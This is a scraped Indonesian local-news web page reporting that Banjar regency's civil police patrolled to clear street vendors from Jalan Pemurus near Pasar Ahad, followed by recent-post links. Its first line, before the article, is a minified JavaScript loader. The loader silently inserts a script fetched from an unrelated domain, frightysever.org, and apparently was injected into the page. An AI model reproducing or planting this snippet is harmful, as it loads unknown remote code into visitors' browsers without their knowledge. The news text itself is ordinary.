(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Satpol PP Banjar Tertibkan PKL di Jalan Pemurus Pasar Ahad


MARTAPURA, Setelah Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar sebarkan surat edaran imbauan berdagang kepada Pedagang Kaki Lima (PKL) di lingkungan Pasar Ahad pada Jumat (1/2) lalu, sebanyak 30 porsonel Satpol PP Banjar diturunkan pantau PKL yang masih membandel, Senin (4/2) pagi.

“Pada hari ini kita menurunkan 30 porsenil untuk memantau langsung kehadiran PKL, Allhamdulillah hari ini sudah tidak ada lagi PKL yang dimaksud,” ujar Kabid Tantribum Satpol PP Banjar, Asian Bandani.

Surat edaran ini dikeluarkan berdasarkan protes pegadang dan warga di sekitar Pasar Ahad yang tidak menyetujui kehadiran pasar liar di sekitar lokasi usaha mereka. Mengingat pasar liar itu dianggap “menyaingi” dan bertengger di lingkungan pasar sepanjang jalan Pemurus Kertak Hanyar.

Kehadiran PKL dianggap berdampak terhadap menurunnya omset pedagang resmi. Mengingat banyak konsumen yang lebih memilih berbelanja ke pasar liar di jalan Pemurus itu ketimbang masuk ke dalam Pasar Ahad.

Lebih jauh Asian mengatakan, terhitung sejak Senin (4/2), PKL sudah tidak diperkenankan lagi berada di sepanjang jalan Pemurus Kertak Hanyar itu. Apabila masih dijumpai, Satpol PP Banjar akan bertindak tegas.

“Patroli ini kita lakukan berdasarkan lanjutan dari surah himbauan kita kemarin, kita akan laksanakan rutin patroli setiap pagi, kalau masih ada PKL yang membandel, kita tidak akan tegas menertibkan, karena ini sudah beberapa kali kita peringatkan,” tegasnya.

Sementara kendala selama ini masih seperti kemarin, Asian menyebut untuk PKL yang berjualan di halaman rumah, bukan bagian dari kewenangan Satpol PP Banjar karena yang lebih berwenang adalah Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar.

“Kami hanya menertibkan PKL yang ada di jalan Pemurus Kertak Hanyar untuk yang berada di halaman rumah warga,.itu kewenangannya Disperindag Banjar untuk melakukan pembinaan,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sekda HSU Sambut Tim Wasev TMMD ke-120

KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More

2 menit ago

Seleksi Wawancara Panwascam Empat Kecamatan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More

9 menit ago

Satgas TMMD-Warga Desa Sungai Karias Keroyokan Hingga Malam

KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More

20 menit ago

Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More

29 menit ago

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

6 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

17 jam ago

This website uses cookies.